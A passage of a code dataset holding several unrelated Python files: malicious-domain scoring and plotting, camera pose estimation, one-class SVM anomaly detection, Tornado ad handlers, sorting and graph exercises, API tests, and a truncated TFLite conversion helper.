0)\nprint(s.get_score_single_domain(test_domain0))\n'''\n\n# Scoring Phish and malware domain lists\n# I want to score\ns = FinalScore()\npath_alexa20k = '../scripts/who_is_bulk_results_alexa_20k.txt'\npath_maldoms = '../scripts/who_is_bulk_results_mal_all.txt'\npath_phish = '../scripts/who_is_bulk_results_phish_all.txt'\npath_elk = '../scripts/all_elasticsearch_domains_1026.csv'\ndatasets = list()\n\ndatasets.append(path_maldoms)\ndatasets.append(path_phish)\ndatasets.append(path_alexa20k)\ndatasets.append(path_elk)\n\n# TODO: Get the average\n# TODO: plot the scores\n\ndomain_scores = dict()\nNUM_DOMAINS = 500\ndomain_scoring = dict()\ndomain_scoring[\"domain_from\"] = list()\ndomain_scoring[\"domain_score\"] = list()\ndomain_scoring[\"domain_name\"] = list()\n# domain_scoring[\"domain_subscores\"] = list()\n# Store subscores to plot them by color [alexa, phish and malware] to figure out\n# best subscores and change weighted averages appropriately\ndomain_scoring[\"domaintoolsregistrars\"] = list()\ndomain_scoring[\"knujon\"] = list()\ndomain_scoring[\"DomainNameEntropy\"] = list()\ndomain_scoring[\"registrar_prices\"] = list()\ndomain_scoring[\"isBogon\"] = list()\ndomain_scoring[\"ttlRisk\"] = list()\ndomain_scoring[\"SpamhausTld\"] = list()\ndomain_scoring[\"domain_age\"] = list()\ndomain_scoring[\"AlexaLevSim_score\"] = list()\ndocuments = list()\n# TODO : Include and change boolean values like \"resolves\" to 0 and 1 to graph them as well\ndomain_scoring[\"resolves\"] = list()\n# TODO: not really using domain_scores anymore, variable may be redundant\n# domain0_scores[\"maleware\"] = list()\n# domain_scores[\"phishtank\"] = list()\n# domain_scores[\"alexatop\"] = list()\n# domain_scores[\"observed\"] = list()\n# print(\"list \", domain_scores)\nfor i in range(len(datasets)):\n path = datasets[i]\n\n with open(path, \"r\", encoding='utf-8') as f:\n print(\"\\n\\n\\nfile:\", str(path))\n reader = DictReader(f)\n dom_count = 0\n for row in reader:\n dom_count = dom_count + 1\n # print(\"dom_count:\", dom_count)\n if dom_count > NUM_DOMAINS:\n break\n\n # registrar, domain are the columns\n # entry_reg = row[\"registrar\"]\n # entry_dom = row[\"domain\"]\n if row[\"age\"] and row[\"registrar\"] is not None:\n current_domain = Domain(row['domain'],\n row['registrar'], float(row[\"age\"]))\n elif row[\"registrar\"] is not None:\n current_domain = Domain(row['domain'],\n row['registrar'])\n else:\n print(\"line 448\", current_domain, \" row[domain]: \", row['domain'])\n current_domain = Domain(row[\"domain\"])\n\n domain_score = s.get_score_single_domain(current_domain, True, True, True)\n print(\"Line 450 Domain: \", current_domain.domain, \"Score: \", domain_score)\n print(\"---line 448\", current_domain.simplescores)\n # print(\"datasets\", str(datasets[i]).lower().find(\"elasticsearch\") != -1, \": \", datasets[i])\n # if str(datasets[i]).lower().find(\"mal\") != -1 : mal_dom_scores[current_domain] = domain_score\n # TODO: might want to store the domain names in dict too\n # Source: geeksforgeeks.org/python-ways-to-create-a-dictionary-of-lists/ -how to build dict of lists\n if str(datasets[i]).lower().find(\"mal\") != -1:\n # domain_scores[\"maleware\"].append(domain_score)\n domain_scoring[\"domain_from\"].append(\"maleware\")\n # domain_scoring[\"domain_score\"].append(domain_score)\n # domain_scoring[\"domain_name\"].append(current_domain.domain)\n elif str(datasets[i]).lower().find(\"phish\") != -1:\n # domain_scores[\"phishtank\"].append(domain_score)\n domain_scoring[\"domain_from\"].append(\"phishtank\")\n # domain_scoring[\"domain_score\"].append(domain_score)\n # domain_scoring[\"domain_name\"].append(current_domain.domain)\n elif str(datasets[i]).lower().find(\"elasticsearch\") != -1:\n # domain_scores[\"observed\"].append(domain_score)\n domain_scoring[\"domain_from\"].append(\"observed\")\n # domain_scoring[\"domain_score\"].append(domain_score)\n # domain_scoring[\"domain_name\"].append(current_domain.domain)\n elif str(datasets[i]).lower().find(\"alexa\") != -1:\n # domain_scores[\"alexatop\"].append(domain_score)\n domain_scoring[\"domain_from\"].append(\"alexatop\")\n domain_scoring[\"domain_score\"].append(domain_score)\n domain_scoring[\"domain_name\"].append(current_domain.domain)\n\n domain_scoring[\"domaintoolsregistrars\"].append(current_domain.simplescores[\"domaintoolsregistrars\"])\n domain_scoring[\"knujon\"].append(current_domain.simplescores[\"knujon\"])\n domain_scoring[\"DomainNameEntropy\"].append(current_domain.simplescores[\"DomainNameEntropy\"])\n domain_scoring[\"registrar_prices\"].append(current_domain.simplescores[\"registrar_prices\"])\n domain_scoring[\"ttlRisk\"].append(current_domain.simplescores[\"ttlRisk\"])\n domain_scoring[\"SpamhausTld\"].append(current_domain.simplescores[\"SpamhausTld\"])\n domain_scoring[\"domain_age\"].append(current_domain.simplescores[\"domain_age\"])\n domain_scoring[\"AlexaLevSim_score\"].append(current_domain.simplescores[\"AlexaLevSim_score\"])\n if current_domain.simplescores[\"resolves\"] == True:\n domain_scoring[\"resolves\"] = 1\n else:\n domain_scoring[\"resolves\"] = 0\n\n documents.append(current_domain.simplescores)\n\n# THIS ONE MAY BE MISSING THE PHISH, MAL, AND ALEXA LABELS I NEED for weka testing\nwith open(\"../script_results/documents_domainscores0212_FinalTest_NOLABEL.json\", \"w\") as f:\n f.write(json.dumps(documents))\n\nwith open(\"../script_results/domain_scoring_domainscores0212_FinalTest_LABELm.json\", \"w\") as f:\n f.write(json.dumps(domain_scoring))\n\n # print(\"line 499 domain_scoring: \", domain_scoring)\n\n # else: print(\"Error in file naming. Please rename files with mal, phish, alexa or es for elasticsearch domains\")\n# print(\"es\",domain_scores[\"observed_domains\"])\n\n\n# TODO: should use plotly and pandas\n# pd.DataFrame.from_dict(data)\n# print(\"mal_domains\", mal_dom_scores.values())\n\n\nimport pandas as pd\n\nprint(\"\\ndomain scoring : \", domain_scoring)\n\ndf = pd.DataFrame(domain_scoring,\n columns=['domain_from', 'domain_score', 'domain_name', 'domaintoolsregistrars', 'knujon',\n 'DomainNameEntropy', 'registrar_prices', 'ttlRisk', 'SpamhausTld', 'domain_age',\n 'AlexaLevSim_score', 'resolves'])\n\nprint(\"\\n df \", df)\n# Note: Need to import plotly too not just plotly.express\nimport plotly\nimport plotly.express as px\n\nfig = px.histogram(df, x=\"domain_score\", color=\"domain_from\")\n\nfig.show()\n\n# html file\nplotly.offline.plot(fig,\n filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_MalPhishAlexaObs_hist_fixed_observed.html')\n# TODO: phishtank domains not being scored high enough - maybe can use something from weka random forests\n# TODO: to figure out how to make our system correctly score high / identify bad domains\n# TODO - no score distinction between Alexatop, phish and mal graph them to se\n# TODO: after plotting 500 domains each, find a way to improve the scoring system\n\n\nfig1 = px.histogram(df, x=\"domaintoolsregistrars\", color=\"domain_from\")\nfig1.show()\nplotly.offline.plot(fig1, filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_domaintoolsregistrars.html')\n\nfig2 = px.histogram(df, x=\"knujon\", color=\"domain_from\")\nfig2.show()\nplotly.offline.plot(fig2, filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_knujon.html')\n\nfig3 = px.histogram(df, x=\"DomainNameEntropy\", color=\"domain_from\")\nfig3.show()\nplotly.offline.plot(fig3, filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_DomainNameEntropy.html')\n\nfig4 = px.histogram(df, x=\"registrar_prices\", color=\"domain_from\")\nfig4.show()\nplotly.offline.plot(fig4, filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_registrar_prices.html')\n\nfig5 = px.histogram(df, x=\"ttlRisk\", color=\"domain_from\")\nfig5.show()\nplotly.offline.plot(fig5, filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_ttlRisk.html')\n\nfig6 = px.histogram(df, x=\"SpamhausTld\", color=\"domain_from\")\nfig6.show()\nplotly.offline.plot(fig6, filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_SpamhausTld.html')\n\nfig7 = px.histogram(df, x=\"domain_age\", color=\"domain_from\")\nfig7.show()\nplotly.offline.plot(fig7, filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_domain_age.html')\n\nfig8 = px.histogram(df, x=\"AlexaLevSim_score\", color=\"domain_from\")\nfig8.show()\nplotly.offline.plot(fig8, filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_AlexaLevSim_score.html')\n\nfig9 = px.histogram(df, x=\"resolves\", color=\"domain_from\")\nfig9.show()\nplotly.offline.plot(fig9, filename='C:/Users/rbd218/PycharmProjects/nod/classes/Graphs/Feb11_500_resolves.html')\n\n# Sources\n# https://plotly.com/python/histograms/\n# https://medium.com/plotly/introducing-plotly-express-808df010143d\n# https://www.geeksforgeeks.org/how-to-convert-dictionary-to-pandas-dataframe/\n# https://stackoverflow.com/questions/59815797/plotly-how-to-save-plotly-express-plot-into-a-html-or-static-image-file\n","repo_name":"rdensamo/nod-rbd218","sub_path":"classes/FinalScoreTest.py","file_name":"FinalScoreTest.py","file_ext":"py","file_size_in_byte":27911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3222530725","text":"import cv2\nimport numpy as np\nimport glob\n\n# Load previously saved data\n#with np.load('B.npz') as X:\n# mtx, dist, _, _ = [X[i] for i in ('mtx','dist','rvecs','tvecs')]\n\ndef draw(img, corners, imgpts):\n corner = tuple(corners[0].ravel())\n img = cv2.line(img, corner, tuple(imgpts[0].ravel()), (255,0,0), 3)\n img = cv2.line(img, corner, tuple(imgpts[1].ravel()), (0,255,0), 3)\n img = cv2.line(img, corner, tuple(imgpts[2].ravel()), (0,0,255), 3)\n return img\n\ncriteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001)\nobjp = np.zeros((6*6,3), np.float32)\nobjp[:,:2] = np.mgrid[0:6,0:6].T.reshape(-1,2)\n\n# Arrays to store object points and image points from all the images.\nobjpoints = [] # 3d point in real world space\nimgpoints = [] # 2d points in image plane.\n\naxis = np.float32([[3,0,0], [0,3,0], [0,0,-3]]).reshape(-1,3)\n\ndetected=0\nnot_detected=0\n\nfor fname in glob.glob('./img/*.jpg'):\n img = cv2.imread(fname)\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n ret, corners = cv2.findChessboardCorners(gray, (6,6),None)\n\n if ret == True:\n detected=detected+1\n print('detected')\n objpoints.append(objp)\n corners2 = cv2.cornerSubPix(gray,corners,(11,11),(-1,-1),criteria)\n imgpoints.append(corners2)\n\n # Find the rotation and translation vectors.\n _, mtx, dist, _, _ = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1],None,None)\n _, rvecs, tvecs, inliers = cv2.solvePnPRansac(objp, corners2, mtx, dist)\n\n # project 3D points to image plane\n imgpts, jac = cv2.projectPoints(axis, rvecs, tvecs, mtx, dist)\n\n img = draw(img,corners2,imgpts)\n cv2.imshow('img',img)\n if cv2.waitKey(0) & 0xff == ord('q'):\n cv2.destroyAllWindows()\n raise StopIteration \n else:\n print('not detected')\n not_detected=not_detected+1\n cv2.imshow('img',gray)\n if cv2.waitKey(0) & 0xff == ord('q'):\n cv2.destroyAllWindows()\n raise StopIteration\nprint('detected: %d'%detected)\nprint('not detected: %d'%not_detected)\ncv2.destroyAllWindows()","repo_name":"shanek16/collecart","sub_path":"pose_test.py","file_name":"pose_test.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"2679126603","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis script creates a contoured boundry plot to visualize the decision boundry \nIt can makes a 2-D plot and requires the user to choose any two predictors\n\nCreated on Mon May 25 18:21:32 2020\n@author: Justin\n\"\"\"\nimport numpy as np\nimport JB_functions_ocIris as ocIris\nimport matplotlib.pyplot as plt\nimport sklearn as sk\nimport sklearn.model_selection\nimport sklearn.svm\nimport pandas as pd\n\n\n#The boundrary plot only works with 2 predictors. Choose which two to use.\n#The workd flow is otherwise the same as JB_functions_ocIris, check there for \n#more details about variables and functions\n\ns = 15\ngamma = (1/s)\nnTrain = .75\nalpha = .03\nirisData = pd.read_csv(r\"C:\\Users\\Justin\\OneDrive\\Desktop\\ML_research\\Iris mods\\iris.csv\")\nsepalCols = [\"Sepal length\", \"Sepal width\"]\npetalCols = [\"Petal length\", \"Petal width\"]\ndataCols = [\"Sepal length\", \"Sepal width\", \"Petal length\", \"Petal width\"]\ntarget = [\"Species\"]\n\n#Select which cols to use for training here\npredictors = sepalCols\n\n#Prepare data and split into training and testing groups\ntrainData, testData = ocIris.splitData(irisData, alpha, nTrain)\n#Normalize data\nscaledTrain, scaledTest = ocIris.normalizeData(trainData, testData, predictors) \n\n###############################################################################\n##CREATE MODEL##\n###############################################################################\noc = sk.svm.OneClassSVM(gamma = gamma, nu = alpha)\n#Fit model and get dataframe results\noc.fit(scaledTrain)\ntrainResults = ocIris.getResults(oc, scaledTrain, trainData[target].to_numpy())\ntestResults = ocIris.getResults(oc, scaledTest, testData[target].to_numpy())\n\n###############################################################################\n##PLOT##\n###############################################################################\n\nmatrixGroups = testResults.groupby(\"Confusion Matrix\")\ncolorDict = {'true nominal':'blue', 'false nominal':'red', 'true anomaly':'green', 'false anomaly':'orange'}\n\nfor name, group in matrixGroups:\n print(name,\":\",len(group))\n plt.scatter(group[0], group[1], c = colorDict[name], label = name, alpha = .5)\n\n#Overlay training points for reference\nplt.scatter(trainResults[0], trainResults[1], c = 'black', alpha = 1, s = 10, label = \"training data\")\nplt.legend(loc=\"best\")\n\n#If the training data was 2D, draw the training boundrary oc is the name of the model made in JB_functions_ocIris\nxx, yy = np.meshgrid(np.linspace(-5, 5, 100), np.linspace(-5, 5, 100))\nZ = oc.decision_function(np.c_[xx.ravel(), yy.ravel()])\nZ = Z.reshape(xx.shape)\nplt.contour(xx, yy, Z, levels=[0], linewidths=2, colors='darkred')\nplt.plot()\n","repo_name":"jboyer4/anomalyDetection","sub_path":"boundary.py","file_name":"boundary.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"17999268230","text":"'''\r\nAuthors: Paresh Shahare\r\nTopic: Low Light Image Enhancement using conditional Generative Adversarial Network\r\nFramework: Tensorflow 2.4.1\r\n\r\nFile: test.py\r\n'''\r\n\r\n\r\n# Load libraries\r\nfrom tensorflow.keras.models import Sequential, save_model, load_model\r\n\r\n# Load model\r\nmodel = tf.keras.models.load_model(\"/content/drive/MyDrive/Projects_chkp/model_chpts_100_1500BrTrDS_lambda130/model115_150.h5\")\r\n\r\n\r\ndef load_preprocess(image_file):\t\t\t# Pre-processing the input image\r\n image = tf.io.read_file(image_file)\r\n image = tf.image.decode_png(image)\r\n input_image = tf.cast(image, tf.float32)\r\n input_image = tf.image.resize(input_image, [256, 256],method=tf.image.ResizeMethod.NEAREST_NEIGHBOR)\r\n input_image = (input_image / 127.5) - 1\r\n return input_image\r\n \r\ndef getPrediction(filename):\t\t\t\t# Loading the model and processing the test image to get the enlightened output image\r\n image = load_preprocess(filename)\r\n image = tf.reshape(image, [1,256,256,3])\r\n model = tf.keras.models.load_model(r'/home/wireshark/Documents/CDAC/Project/trained_models/model_100.h5',compile = False)\r\n prediction = model(image, training = True)\r\n prediction = tf.reshape(prediction, [256,256,3])\r\n plt.figure()\r\n plt.imshow(prediction * 0.5 + 0.5)\r\n plt.axis('off')\r\n plt.show()\r\n return True\r\n\r\nfilename = r'/home/wireshark/Documents/CDAC/Project/dataset/test/low/test_image.png'\t# Test image path\r\ngetPrediction(filename)","repo_name":"Paresh-shahare/Low-Light-Image-Enhancement","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"2999104792","text":"#-*- encoding: utf-8 -*-\n\nimport tornado\nfrom bson import objectid\nfrom pymongo import DESCENDING, ASCENDING\n\nfrom db import mongo, live_mongo\nfrom libs import BaseHandler\n\nclass HomeHandler(BaseHandler):\n\n def get(self):\n\n ads = mongo.adbar.find().sort('rank', ASCENDING)\n self.render(\"ads_list.html\",\n ads = ads\n )\n\nclass HomeCreateHandler(BaseHandler):\n\n def get(self):\n self.render('ads_create.html')\n\n def post(self):\n url = self.get_argument('url', default=None)\n rank = self.get_argument('rank', default=None)\n\n if self.request.files:\n image = self.request.files['image'][0]\n else:\n self.message = \"请上传图片\"\n return self.render('ads_create.html')\n\n imgid = live_mongo.filefs.put(image['body']) \n\n try:\n rank = int(rank)\n except:\n self.message = '排序需要一个数字'\n return self.render('ads_create.html')\n\n if not url or not image:\n self.message = '不能为空'\n else:\n mongo.adbar.insert({\n 'url': url,\n 'imgid': imgid,\n 'rank': rank,\n })\n\n self.redirect('/ads/home')\n\nclass HomeEditHandler(BaseHandler):\n\n def get(self, _adsid):\n\n try:\n adsid = objectid.ObjectId(_adsid)\n ads = mongo.adbar.find_one({'_id': adsid})\n if not ads: raise\n except:\n self.message = \"ID不存在\"\n\n self.render('ads_edit.html',\n ads = ads\n )\n\n def post(self, _adsid):\n url = self.get_argument('url', default=None)\n rank = self.get_argument('rank', default=None)\n\n try:\n adsid = objectid.ObjectId(_adsid)\n ads = mongo.adbar.find_one({'_id': adsid})\n if not ads: raise\n except:\n self.message = \"ID不存在\"\n self.redirect('/ads/home')\n\n try:\n rank = int(rank)\n except:\n self.message = '排序需要一个数字'\n self.redirect('/ads/edit/%s' % adsid)\n\n if not url or not rank:\n self.message = '不能为空'\n self.redirect('/ads/edit/%s' % adsid)\n\n if self.request.files:\n image = self.request.files['image'][0]\n live_mongo.filefs.delete(ads['imgid'])\n imgid = live_mongo.filefs.put(image['body']) \n ads['imgid'] = imgid\n\n ads['rank'] = rank\n ads['url'] = url\n mongo.adbar.save(ads)\n\n self.redirect('/ads/home')\n\n\nclass HomeDeleteHandler(BaseHandler):\n\n def get(self, _adsid):\n\n try:\n adsid = objectid.ObjectId(_adsid)\n adbar = mongo.adbar.find_one({'_id': adsid})\n if not adbar: raise\n except:\n self.message = \"错误的ID\"\n else:\n self.message = \"删除成功\"\n mongo.adbar.remove({'_id': adsid})\n live_mongo.filefs.delete(adbar['imgid'])\n\n self.redirect('/ads/home')\n\nclass OldHandler(BaseHandler):\n\n def get(self):\n acts = mongo.activity.find(limit=1).sort('atime', DESCENDING)\n try:\n activity = acts[0]\n except:\n activity = {'banner': '', 'url': ''}\n\n self.render('ads_old_edit.html', \n activity=activity\n )\n\n def post(self):\n url = self.get_argument('url', default=None)\n\n acts = mongo.activity.find(limit=1).sort('atime', DESCENDING)\n try:\n activity = acts[0]\n except:\n activity = {'banner': '', 'url': ''}\n\n if self.request.files:\n image = self.request.files['image'][0]\n else:\n self.message = \"请上传图片\"\n return self.render('ads_old_edit.html',\n activity=activity)\n\n if not url or not image:\n self.message = 'URL或图片不能为空'\n return self.render('ads_old_edit.html',\n activity=activity)\n\n imgid = mongo.imgfs.put(image['body']) \n\n import datetime\n mongo.activity.insert({\n 'banner': imgid,\n 'url': url,\n 'atime': datetime.datetime.now()\n })\n\n self.redirect('/ads/old')\n\n","repo_name":"zytjm/tornado-mongo-based-webserver","sub_path":"god_server/app/ads.py","file_name":"ads.py","file_ext":"py","file_size_in_byte":4341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73813875149","text":"import random\n\n\ndef partition(li, left, right):\n temp = li[left]\n while left < right:\n while left < right and li[right] >= temp:\n right -= 1\n li[left] = li[right]\n while left < right and li[left] <= temp:\n left += 1\n li[right] = li[left]\n li[left] = temp\n return left\n\n\ndef quick_sort(array, left, right):\n if left < right:\n mid = partition(array, left, right)\n print(mid)\n # print(array)\n quick_sort(array, left, mid-1)\n quick_sort(array, mid+1, right)\n\n\ndef quick_sort_no_rec(array):\n stack = []\n left = 0\n right = len(array)-1\n stack.append(left)\n stack.append(right)\n while stack:\n j = stack.pop() # right\n i = stack.pop() # left\n mid = partition(array, i, j)\n if mid - 1 > i:\n stack.append(i) # left\n stack.append(mid-1) # right\n if mid + 1 < j:\n stack.append(mid+1) # left\n stack.append(j) # right\n\n\nrandom.seed(66)\narr_li = [i for i in range(10)]\nrandom.shuffle(arr_li)\nprint(arr_li)\n# quick_sort(arr_li, 0, len(arr_li)-1)\nquick_sort_no_rec(arr_li)\nprint(arr_li)","repo_name":"huangfuyb/Python_Data_Structure","sub_path":"排序/quick_sort.py","file_name":"quick_sort.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"31402476","text":"import pytest\nimport json\n\nsearch_mauriceharris = [{'job': 'Development worker, international aid', 'company': 'King-Howarth', 'ssn': 'ZZ299609T', \\\n 'residence': 'Studio 62i\\nFrost alley\\nSouth Jean\\nN3W 2QA', 'current_location': [44.5767695, 129.747714], \\\n 'blood_group': '0+', 'website': ['https://webb.com/', 'https://jones-williams.com/', 'http://www.williams.biz/'],\\\n 'username': 'mauriceharris', 'name': 'Donald Holden', 'sex': 'F', 'address': 'Studio 5\\nTucker squares\\nHutchinsonburgh\\nS86 2GH',\\\n 'mail': 'fishercheryl@gmail.com', 'birthdate': '1998-03-04'}, \n {'job': 'Exhibition designer', 'company': 'Berry, Grant and Anderson','ssn': 'ZZ489841T', \\\n 'residence': 'Flat 59\\nBarlow harbors\\nWilliamsside\\nM1 3YU', 'current_location': [-88.463234, -74.274428], \\\n 'blood_group': 'A+', 'website': ['https://griffiths.com/', 'http://www.cunningham.net/'], \\\n 'username': 'mauriceharris', 'name': 'Harriet Armstrong', 'sex': 'F', 'address': '09 Charlie motorway\\nNorth Paigeville\\nM1T 0PD', \\\n 'mail': 'marc07@gmail.com', 'birthdate': '1988-02-13'}]\n \nendpoint_error = b'[\"Endpoint does not exist\"]\\n'\nmethod_not_implement = b'{\"message\": \"The method is not allowed for the requested URL.\"}\\n'\nusername_not_found = b'[\"username not found\"]\\n'\n\ndef test_unimplemented_endpoint(app_t):\n response = app_t.get(\"/abc\")\n assert response.status_code == 404\n assert response.data == endpoint_error\n response2 = app_t.post(\"/people\")\n assert response2.status_code == 405\n assert response2.data == method_not_implement\n\ndef test_search(app_t):\n \"\"\"\n test for searching by username, test exist one and absent one\n \"\"\"\n\n response = app_t.get(\"/search/abc\")\n assert response.status_code == 500\n assert response.data == username_not_found\n response2 = app_t.get(\"/search/mauriceharris\")\n assert response2.status_code ==200\n assert json.loads(response2.data)[\"data\"] == search_mauriceharris\n\ndef test_pagination(app_t, dl_t):\n \"\"\"\n test for pagination using pass parameter by url and default value\n \"\"\"\n\n response = app_t.get(\"/people?page=0&pageSize=5\")\n expected = dl_t.data[0:5]\n assert response.status_code == 200\n assert json.loads(response.data)[\"data\"] == expected\n response = app_t.get(\"/people\")\n expected = dl_t.data[0:1000]\n assert response.status_code == 200\n assert json.loads(response.data)[\"data\"] == expected\n\ndef test_delete(app_t):\n \"\"\"\n test delete for exist and double delete for ensure delete the target\n \"\"\"\n\n target = \"mauriceharris\"\n response = app_t.delete(\"/people/{}\".format(target))\n assert response.status_code == 200\n assert json.loads(response.data)[\"data\"] == \"Delete {}\".format(target)\n response2 = app_t.delete(\"/people/{}\".format(target))\n assert response2.status_code == 500\n assert response2.data == username_not_found\n\ndef test_pagination_after_delete(app_t, db_t):\n \"\"\"\n test the pagination consistancy after delete,\n twong is the first appear username\n \"\"\"\n\n target = \"twong\"\n response = app_t.get(\"/people?page=0&pageSize=10\")\n expected = db_t.searchRange(0,10)\n assert response.status_code == 200\n assert json.loads(response.data)[\"data\"] == expected \n response2 = app_t.delete(\"/people/{}\".format(target))\n assert response2.status_code == 200\n assert json.loads(response2.data)[\"data\"] == \"Delete {}\".format(target) \n response3 = app_t.get(\"/people?page=0&pageSize=10\")\n expected = db_t.searchRange(0,10)\n assert response3.status_code == 200\n assert json.loads(response3.data)[\"data\"] == expected \n \n ","repo_name":"jeffshih/persona_api","sub_path":"tests/unit/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":3740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14441240372","text":"# 14.sort\n\n# dict1={'bijender':45,'deepak':60,'param':20,'anjali':30,'roshini':50}\n# sorted_values = sorted(dict1.values())\n# sorted_dict = {}\n# for i in sorted_values:\n# for k in dict1.keys():\n# if dict1[k] == i:\n# sorted_dict[k] = dict1[k]\n# break\n# print(\"ascending: \",sorted_dict)\n\n\n\n\n\n\nimport operator\nd = {1: 2, 3: 4, 4: 3, 2: 1, 0: 0}\nsorted_d = sorted(d.items(), key=operator.itemgetter(1))\nprint('ascending : ',sorted_d)\nsorted_d = dict( sorted(d.items(), key=operator.itemgetter(1),reverse=True))\nprint('Descending: ',sorted_d)\n\n\n","repo_name":"asmonorizimik/dictionary-python","sub_path":"sort14.py","file_name":"sort14.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26970359057","text":"# Author: Finn Jensen\n# Class: DAT-310-01\n# Certification of Authenticity:\n# I certify that this is my work and the DAT-330 class work,\n# except where I have given fully documented references to the work\n# of others. I understand the definition and consequences of plagiarism\n# and acknowledge that the assessor of this assignment may, for the purpose\n# of assessing this assignment reproduce this assignment and provide a\n# copy to another member of academic staff and / or communicate a copy of\n# this assignment to a plagiarism checking service(which may then retain a\n# copy of this assignment on its database for the purpose of future\n# plagiarism checking).\n#\n# ALL CODE IN THIS FILE WAS CREATED BY FINN\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndef main():\n data = pd.read_csv('MA_Public_Schools_2017.csv')\n\n for colName, colData in data.iteritems():\n if colData.isnull().values.any():\n print('Column: ' + colName + ' Contains Null')\n print('----------------------------')\n print(colName)\n print(colData.describe())\n print('----------------------------')\n\n\ndef plot():\n data = pd.read_csv('MA_Public_Schools_2017.csv')\n\n df = pd.DataFrame({'Male': data['% Males'].sum(),\n 'Female': data['% Females'].sum()}, index=['Genders'])\n ax = df.plot.bar(rot=0)\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n plot()\n","repo_name":"GaleProulx/DAT410-ML-Analysis","sub_path":"data_analysis_plot.py","file_name":"data_analysis_plot.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70340183307","text":"class Solution:\n def numIslands(self, grid: List[List[str]]) -> int:\n self.m = len(grid)\n self.n = len(grid[0]) \n islands = 0\n for row in range(self.m):\n for col in range(self.n):\n if grid[row][col] == '1':\n self.dfs(row,col,grid)\n islands += 1\n \n \n return islands\n \n \n def inbound(self,r,c):\n return 0 <= r < self.m and 0 <= c < self.n\n \n \n def dfs(self,row,col,grid):\n direction = [(0,1),(1,0),(0,-1),(-1,0)]\n grid[row][col] = '0'\n for x,y in direction:\n new_row = row + x\n new_col = col + y\n\n if self.inbound(new_row, new_col) and grid[new_row][new_col] == '1': \n self.dfs(new_row,new_col,grid)\n grid[new_row][new_col] = '0'\n \n \n \n \n \n \n\n'''\n \n [\"1\",\"1\",\"1\",\"1\",\"0\"]\n [\"1\",\"1\",\"0\",\"1\",\"0\"]\n [\"1\",\"1\",\"0\",\"0\",\"0\"]\n [\"0\",\"0\",\"0\",\"0\",\"0\"]\n \n \n\n \n [\"1\",\"1\",\"0\",\"0\",\"0\"],\n [\"1\",\"1\",\"0\",\"0\",\"0\"],\n [\"0\",\"0\",\"1\",\"0\",\"0\"],\n [\"0\",\"0\",\"0\",\"1\",\"1\"]\n\n number of islands = 3\n \n \n cases\n - if all values in the grid are 1s or if it's all a land\n - if all values are 0s, if it's only water\n - if we have 1 island \n - islands > 1\n \n check\n - if it's inbound\n - visited\n - and the grid[m][n] == 1\n \n BFS or DFS \n Time complexity = O(m*n)\n Space complexity = O(N) - visited dicitonary to track the visited values\n \n'''\n ","repo_name":"DagmawitG/competitive-programming","sub_path":"0200-number-of-islands/0200-number-of-islands.py","file_name":"0200-number-of-islands.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22238049270","text":"from typing import Iterable\n\nimport os\nfrom pprint import pformat\n\nimport tensorflow as tf\n\n\ndef SavedModel2TFLite(\n savedModelPath: str,\n outPath: str,\n optimize: bool = False,\n target_dtypes: Iterable[tf.dtypes.DType] = [tf.float32],\n enable_select_tf_ops: bool = False,\n enable_resource_variables: bool = False,\n):\n \"\"\"\n Converts a SavedModel into a TFLite model saved as a FlatBuffer\n file. Not all models may be convertible. Please check Tensorflow\n docs for all supported model layers and operations:\n https://www.tensorflow.org/lite/convert \n Parameters\n ----------\n savedModelPath : str\n Path to SavedModel directory.\n outPath : str\n Path to where converted TFLite model will be written\n (.tflite extension included if not provided)\n optimize : bool, optional\n Applies latency and model size optimizations, such as\n dynamic quantization of model weights, by default False.\n target_dtypes : Iterable[tf.dtypes.DType], optional\n Applicable if optimize = True. Will optimize assuming that\n the target devices will run on these data types. Optimization\n might be driven by the smallest type in this set. By default,\n set to [tf.float32].\n enable_select_tf_ops: bool, optional\n If true, will allow ops from the core tensorflow library which will\n require linking to the flex ops library when building applications\n with the TF Lite API.\n enable_resource_variables: bool, optional\n If true, enables resource variables to be converted by the converter.\n \"\"\"\n\n print(f\"TFLiteConverter: using tensorflow v{tf.__version__}\")\n\n converter = 